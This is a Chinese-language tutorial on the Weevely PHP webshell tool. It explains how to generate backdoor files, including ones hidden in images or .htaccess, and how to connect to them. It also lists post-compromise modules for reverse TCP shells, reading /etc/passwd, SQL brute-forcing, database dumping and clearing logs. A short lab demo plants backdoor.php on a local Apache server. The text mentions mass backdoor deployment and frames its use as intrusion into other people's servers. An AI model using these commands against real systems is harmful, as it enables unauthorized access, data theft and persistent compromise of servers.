一、下载与安装
- 下载地址:https://github.com/epinna/weevely3
- 下载之后解压,使用里面的weevely.py
- 在kali中国
二、Weevely工具介绍
weevely是一款使用python编写的webshell工具(集webshell生成和连接于一身),可以算作是linux下的一款菜刀替代工具(限于php),在linux上使用时还是很给力的,就是某些模块在windows上无法使用,总的来说还是非常不错的一款工具
三、基本命令格式与使用方法
(1)新建一个远程控制文件
新生成的文件格式只能是下面的一种:
-
*.php:(生成php后门文件)
-
*.img:(将后门代码插入到图片中,并修改.htaccess,该后门需要服务器开启.htaccess,因为该后门依赖于在.htaccess中使web服务器对图片文件进行php解析)
-
*.htaccess:(将后门代码插入到.htaccess,该后门需要使用同样需要服务器开启.htaccess。生成的.htaccess里包含了php后门语句,同时使用相关配置使得web服务器对该文件进行php解析)
//新建一个远程控制文件,文件使用密码password,path为生成的文件位置
weevely generate <password> <path>
(2)连接一个session会话
- 备注:使用所设置的密码连接所给的后门url,连接成功后,会将连接配置信息以session文件的形式保存在本地,下次需要再次连接时可直接读取session文件进行连接。
//连接一个曾经连接过的session会话
weevely session <path> [cmd]
- [cmd]参数:为可选参数,如果使用该参数则在控制时只执行一次命令就结束,不建立长久连接(直接命令执行有助于批量webshell处理,批量挂马或者操作等等)
(3)连接一个远程控制文件
//连接一个远程的URL开启远程控制,使用远程控制文件密码password,[cmd]为命令可选
weevely <URL> <password> [cmd]
- [cmd]参数:为可选参数,如果使用该参数则在控制时只执行一次命令就结束,不建立长久连接(直接命令执行有助于批量webshell处理,批量挂马或者操作等等)
四、渗透之后的命令
当我们渗透到对方服务器之后,就相当于开启了一个shell,不仅可以输入命令来执行对方的系统。同时,weevely还提供了连接之后可以使用下面如下命令。
:audit_disablefunctionbypass Bypass disable_function restrictions with mod_cgi and .htaccess.
:audit_suidsgid Find files with SUID or SGID flags.
:audit_filesystem Audit the file system for weak permissions.
:audit_etcpasswd Read /etc/passwd with different techniques.
:audit_phpconf Audit PHP configuration.
:bruteforce_sql Bruteforce SQL database.
:system_procs List running processes.
:system_info Collect system information.
:system_extensions Collect PHP and webserver extension list.
:backdoor_meterpreter Start a meterpreter session.
:backdoor_tcp Spawn a shell on a TCP port.
:backdoor_reversetcp Execute a reverse TCP shell.
:shell_su Execute commands with su.
:shell_php Execute PHP commands.
:shell_sh Execute shell commands.
:file_find Find files with given names and attributes.
:file_bzip2 Compress or expand bzip2 files.
:file_touch Change file timestamp.
:file_tar Compress or expand tar archives.
:file_webdownload Download an URL.
:file_mount Mount remote filesystem using HTTPfs.
:file_cd Change current working directory.
:file_edit Edit remote file on a local editor.
:file_ls List directory content.
:file_check Get attributes and permissions of a file.
:file_upload Upload file to remote filesystem.
:file_zip Compress or expand zip files.
:file_download Download file from remote filesystem.
:file_clearlog Remove string from a file.
:file_upload2web Upload file automatically to a web folder and get corresponding URL.
:file_read Read remote file from the remote filesystem.
:file_gzip Compress or expand gzip files.
:file_rm Remove remote file.
:file_grep Print lines matching a pattern in multiple files.
:file_enum Check existence and permissions of a list of paths.
:file_cp Copy single file.
:sql_dump Multi dbms mysqldump replacement.
:sql_console Execute SQL query or run console.
:net_ifconfig Get network interfaces addresses.
:net_mail Send mail.
:net_proxy Run local proxy to pivot HTTP/HTTPS browsing through the target.
:net_phpproxy Install PHP proxy on the target.
:net_curl Perform a curl-like HTTP request.
:net_scan TCP Port scan.
五、3种控制方式演示案例
此处我们以Kali默认的Apache2服务器为例,将其作为我们的渗透控制目标;
- Apache2服务器的配置文件为/etc/apache2/sites-enabled/000-default;
- Apache2服务器的根目录为/var/www/html/;
- Apache2服务器的端口为80
使用.php文件远程控制
- 第一步:使用weevely命令生成一个远程控制文件backdoor.php,该文件使用的密码为字符串“hello”
- 查看一下文件的内容
- 第二步:将该backdoor.php文件通过方法移动到Apache2服务器的根目录/var/www/html/
- 第三步:通过weevely命令进行连接我们的远程控制文件(文件密码为字符串hello)
可以看到渗透成功,并且可以执行命令了
演示连接时附加cmd参数
- 附加cmd参数时,只执行一次命令就结束,将不会建立长久连接;
使用.img文件控制
- 待续,需要开启服务端的.htaccess,暂时还不会,待更新
使用.htaccess文件控制
- 待续,需要开启服务端的.htaccess,暂时还不会,待更新
六、控制之后常用的命令
:audit.phpconf
- 查看php配置信息
:audit_etcpasswd [-real]
- 查看/etc/passwd文件(特殊说明:很多命令的-vector参数是用以指定php执行命令函数的,当默认函数不可用是,使用该参数来尝试指定其他命令执行函数来获取信息),同时也可使用-real参数来过滤出真实用户
:shell.sh、:shell.php
- 利用接口执行命令,和虚拟终端类似,这里就不给演示了
:system.info
- 在weevely里比较常用的一个模块,可以获取到系统的基本信息
:backdoor.reverstcp host port [-vector]
- 反弹一个tcp shell到目标端口(同样也可指定向量:选择反弹shell的形式,nc,perl,ruby等)
:backdoor.tcp -port <listen_port> -no-connect [-vector]
- 在本地打开一个端口,等待连接(查看了该模块的源码,使用时必须带上-no-connect才能监听成功,负责他会在本地形成一个tcp环路)
:file.upload lpath rpath
- 上传本地文件到目标站点指定路径(可能会因为权限不足上传失败)
- lpath:为本次文件的文件路径
- rpath:为攻击目标的存放文件路径
:file.rm filename [-recursive] [-vector]
- 删除指定文件,可开启安全确认模式
:file.check
- 用以检查目标站点下文件的状态(md5值,大小,权限等)
:file.download rpath lpath [-vector]
- 将目标站点上的文件下载到本地(可用于批量会话操作)
其他:
- -file.edit filename-对指定文件进行编辑
- -file.read filename-读取指定文件内容
- -file.ls path-列举指定路径的文件信息
- -file.upload2web-将本地文件上传至目标站点文件夹(可自动枚举到一个可写目录将其写入)
- -file.webdownload <webfile_path> filename-从其他服务器上下载文件到目标站点
- -file.touch rpath-创建一个新文件下面几个命令由于环境限制,没有进行测试,这里就不再啰嗦了
- -bruteforce.sql(爆破指定数据库用户名密码)
- -bruteforce.sqlusers(爆破所有数据库用户密码)
- -sql.dump(脱裤,你懂的 ^_^)
- -sql.console(sql交互式终端)
- -net.scan(端口扫描,不太会用)
- -find.perms(搜索具有读、写、执行权限的文件,好像比较给力)
- -find.suidsgid(搜索linux具有suid或者sgid标记的文件)
- -find.name(查找某文件或者文件夹)
参考文献
https://www.freebuf.com/sectool/39765.html